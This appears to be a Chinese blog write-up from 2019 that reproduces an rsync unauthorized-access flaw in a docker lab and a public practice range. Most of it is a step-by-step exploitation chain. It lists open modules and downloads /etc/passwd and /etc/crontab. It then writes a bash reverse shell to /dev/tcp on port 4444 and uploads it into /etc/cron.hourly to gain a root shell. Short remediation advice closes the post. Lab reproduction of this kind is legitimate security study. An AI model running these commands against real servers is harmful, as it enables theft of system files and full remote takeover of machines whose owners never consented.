2019-11-17rsync未授权访问漏洞复现&利用

rsync未授权访问漏洞

编写者:thelostworld_fv

简介:

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

环境准备:

编译及运行rsync服务器:

docker-compose build docker-compose up -d

运行

环境启动后,我们用rsync命令访问之:

rsync rsync://your-ip:873/

利用方法:

上图,有一个src模块,我们再列出这个模块下的文件:

这是Linux根目录,可以下载任意文件:

rsync -av rsync://your-ip:873/src/etc/passwd ./

查看下载的passwd

查看crontab配置文件:

rsync rsync://192.168.182.143/src/etc/crontab

下载crontab配置文件:

rsync -av rsync://192.168.182.143/src/etc/crontab /root/crontab.txt

写入shell任意文件:

#!/bin/bash  /bin/bash -i >& /dev/tcp/192.168.182.199/4444 0>&1

赋予执行权限:

chmod +x shell

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.182.143/src/etc/cron.hourly

写入了一个cron任务,

17 *    * * *  root    cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

成功反弹shell:

获取到服务器权限。

在线靶场:

rsync IP::    //这是在默认条件下没有改变默认的端口,默认密码是:: rsync --port=xxx ip::  //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口 rsync -avz ip::www /tmp    //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径 rsync -avz --port=xxx ip::dddd /tmp

连接rsync --port=49814  219.153.49.228::

下载文件

rsync -avz --port=49814  219.153.49.228::volume /Users/fuwei/Desktop/

/*

mozhea2b247c38a64888155d03ccc3f9

*/

?>

修复建议:

1.  修改vim /etc/rsync.conf配置文件(写入以下代码)

hosts allow xxx.xxx.xxx.xxx auth users = rsync secrets file = /etc/rsyncd.passwd

2、新建一个账户密码访问文件vim /etc/rsyncd.passwd

按一下格式写入能登陆的用户名和密码

username  :password

总结:

1、注意计划启动项时间,自己可以修改对于的启动时间。

vim /etc/crontab 修改对于自己需要的时间就OK了

2、注意在上传计划启动的前需要附上执行权限,不然不会执行反弹。

3、最近工作闲暇漏洞复现一下(安全贵在坚持),如果有纰漏,望大佬指正。

参考:

https://blog.csdn.net/qq_36374896/article/details/84112341

https://www.jianshu.com/p/615669b7311f

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人:https://www.jianshu.com/u/bf0e38a8d400

你可能感兴趣的:(2019-11-17rsync未授权访问漏洞复现&利用)